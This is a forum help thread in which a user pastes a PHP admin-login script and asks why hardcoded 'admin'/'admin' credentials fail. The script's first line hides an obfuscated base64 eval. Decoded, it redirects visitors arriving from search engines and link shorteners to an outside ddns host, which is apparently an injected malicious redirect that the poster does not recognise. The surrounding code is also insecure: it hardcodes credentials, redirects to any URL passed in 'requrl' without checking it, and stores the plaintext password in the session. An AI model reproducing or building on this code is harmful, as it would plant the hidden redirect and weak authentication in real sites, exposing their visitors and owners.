Jump to content

Admin Panel Login Problem


fanatycme
Go to solution Solved by fanatycme,

Recommended Posts


Hi,

I have a problem with this script.

I can't log in.... no matter what i set at:
if($_SERVER['HTTP_HOST']=='MY WEB ADDRESS'){
$f_user='admin';
$f_clave='admin';
 
Only if i put true (1) here "else{$logid_result='0';$loginpass_result='0';}" i can login, but with any username and password and i dont want that....
 
Plz help
 
 

 

<?php   eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9pcnhucmphdy5kZG5zLm1lLnVrLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));
session_start();
 
if($_SERVER['HTTP_HOST']=='MY WEB ADDRESS'){
$f_user='admin';
$f_clave='admin';
}
 
//REQURL
if (isset($_SESSION['requrl'])) {
$requrl = $_SESSION['requrl'];
} 
if (isset($_GET['requrl'])) {
$requrl = $_GET['requrl'];
$_SESSION['requrl'] = $_GET['requrl'];
}
include('../config/config.php');
include('func.php');
//if(mysql_connect($SQL_Host,$SQL_User,$SQL_Pass)){ 
if ((isset($_SESSION['IdHarry'])) && (isset($_SESSION['PassHarry']))){
echo '<META HTTP-EQUIV="Refresh" CONTENT="0;URL=">';
}
if (clean_var($_POST['ID']) == NULL){
//echo $requrl;
echo "
<script language=javascript>
<!--
window.alert('Ingrese su Usuario')
history.back()
//-->
</script>
";
}else{
if (clean_var($_POST['Passwd']) == NULL){
echo "
<script language=javascript>
<!--
window.alert('Ingrese su contraseña')
history.back()
//-->
</script>
";
}else{
$accountid = clean_var($_POST['ID']);
$passwordid = clean_var($_POST['Passwd']);
/*$coxwb = mysql_connect($SQL_Host,$SQL_User,$SQL_Pass);
mysql_select_db($SQL_Base, $coxwb);
if (! $conn)
{
echo '<META HTTP-EQUIV="Refresh" CONTENT="0;URL=errordb.php">';
die;
}
$logid = mysql_query("SELECT Id FROM user Where Id='$accountid' and Authority>='1'", $conn);
$logid_result = mysql_num_rows($logid);*/
if($accountid==$f_user && $passwordid==$f_clave){$logid_result='1';$loginpass_result='1';}else{$logid_result='0';$loginpass_result='0';}
if ($logid_result == 0 && $loginpass_result == 0){
echo "
<script language=javascript>
<!--
window.alert('Error!')
history.back()
//-->
</script>
";
}else{
 
if ($loginpass_result == 1) {
$_SESSION['IdHarry'] = $accountid;
$_SESSION['PassHarry'] = $passwordid;
/*$_SESSION['IdHarry'] = mysql_result($loginpass,0,Id);
$_SESSION['PassHarry'] = mysql_result($loginpass,0,Password);*/
//echo '<META HTTP-EQUIV="Refresh" CONTENT="0;URL=">';
if($requrl==''){$requrl='index.php';}
echo '<META HTTP-EQUIV="Refresh" CONTENT="0;URL=\''.$requrl.'\'">';
}
 
}
}
}
 
/*}else{
echo '<META HTTP-EQUIV="Refresh" CONTENT="0;URL=?f=3&category=user&act=errordb">';
die;}*/
 
?>
Edited by fanatycme
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.